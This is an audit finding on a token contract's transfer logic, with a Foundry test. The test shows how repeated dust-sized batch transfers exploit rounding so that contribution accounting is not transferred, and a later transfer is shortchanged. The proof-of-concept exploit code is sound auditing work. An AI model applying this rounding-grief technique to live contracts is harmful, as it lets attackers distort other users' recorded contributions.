MEDIUM severity: Donating without transferring contribution. **Severity**

**Impact:** Low

**Likelihood:** High

**Description**

When the project reaches at least the `FUNDED` state, seed tokens become transferable by anyone, and the amount of contribution will be transferred proportionally to the amount of tokens transferred.

However, due to rounding...

Vulnerable code:
function _update(address from, address to, uint256[] memory ids, uint256[] memory values)
    internal
    virtual
    override
  {
    if (from != address(0) && to != address(0)) {
      uint256 transferLength = ids.length;
      for (uint256 i; i < transferLength; ++i) {
        MarketData memory market = markets[ids[i]];
        if ((market.state < MarketState.FUNDED) && from != marketParams[ids[i]].sourcer) {
          revert TransferRestricted();
        }
>>>     uint256 transferContribution =
          values[i] * contributions[ids[i]][from] / balanceOf(from, ids[i]);
        contributions[ids[i]][from] -= transferContribution;
        contributions[ids[i]][to] += transferContribution;
        emit ContributionTransferred(ids[i], from, to, transferContribution);
      }
    }
    super._update(from, to, ids, values);
  }

function testTransferGriefContributions() public {
     (uint256 tokenId,) = defaultMarket(ophelia);

    userMint(alice, tokenId, 2000 ether);
    userMint(bob, tokenId, 3000 ether);
    userMint(charlie, tokenId, 5001 ether);

    uint256 alicesContribution = ipSeed.contributions(tokenId, alice);
    uint256 aliceBalance = ipSeed.balanceOf(alice, tokenId);
    uint256 halfAliceBalanceInitial = aliceBalance / 2;
    uint256 expectedTransferedContribution = halfAliceBalanceInitial * alicesContribution / aliceBalance;
    console.log("alice contribution before :");
    console.log(alicesContribution);
    console.log("alice balance before :");
    console.log(aliceBalance);

    //charlie donate to alice but not tranferring contribution
    uint256[] memory ids = new uint256[](200);
    uint256[] memory amounts = new uint256[](200);
    for (uint i; i < 200; i++) {
       ids[i] = tokenId;
       amounts[i] = 600;
    }
    vm.startPrank(charlie);
    ipSeed.safeBatchTransferFrom(charlie, alice, ids, amounts, "");
    vm.stopPrank();

    assertEq(alicesContribution, ipSeed.contributions(tokenId, alice));

    console.log("alice contribution after :");
    console.log(ipSeed.contributions(tokenId, alice));
    console.log("alice balance after :");
    console.log(ipSeed.balanceOf(alice, tokenId));

    uint256 bobContributionBefore = ipSeed.contributions(tokenId, bob);

    // alice transfer half of token amount before donation from charlie
    vm.startPrank(alice);
    ipSeed.safeTransferFrom(alice, bob, tokenId, halfAliceBalanceInitial, "");
    vm.stopPrank();

    uint256 receivedContribution = ipSeed.contributions(tokenId, bob) - bobContributionBefore;

    console.log("expected contribution : ");
    console.log(expectedTransferedContribution);
    console.log("transferred contribution after donation : ");
    console.log(receivedContribution);

  }

expected contribution :
  204060810121000000
  transferred contribution after donation :
  204060810120999987